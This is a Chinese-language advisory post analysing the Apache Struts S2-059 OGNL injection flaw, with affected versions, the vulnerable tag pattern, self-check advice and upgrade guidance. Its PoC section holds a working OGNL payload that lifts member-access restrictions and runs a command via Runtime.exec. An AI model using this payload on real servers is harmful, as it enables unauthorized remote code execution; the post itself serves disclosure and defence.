s2 059 初步分析

admin 2020年8月14日06:23:30评论434 views字数 1265阅读4分13秒阅读模式

影响范围


Struts 2.0.0 - Struts 2.5.20



描述


Apache Struts 2 会对某些标签属性(id)的属性值进行二次表达式解析,并且在 Struts 标签属性内强制进行 OGNL 表达式解析时的情况。因此在某些场景下将可能导致远程代码执行。


例如服务端如下写法

<s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>


攻击者如果可以控制skillName的话,则可以直接传入一个 OGNL 表达式,那么最终当标签渲染的时候,skillName 的表达式就会因为二次解析而被执行。


该漏洞类似于s2-029/s2-036 都是由于struts2 tag解析而引起的ognl表达式。


poc


poc与s2-029/036 的写法一样,以下为网上例子

skillName=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))


业务方自查


重点检查 jsp页面中是否存在上述示例写法。


缓解措施


建议升级至 Struts 2.5.22 。


如果升级s2组件对您的业务有影响,请参考struts官方文章中如何防止ognl注入。例如可以在沙箱中运行ognl表达式


https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable



参考


https://cwiki.apache.org/confluence/display/WW/S2-059?spm=a2c4g.11174386.n2.3.40ac1051vjfTnI

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月14日06:23:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   s2 059 初步分析http://cn-sec.com/archives/90020.html

发表评论

匿名网友 填写信息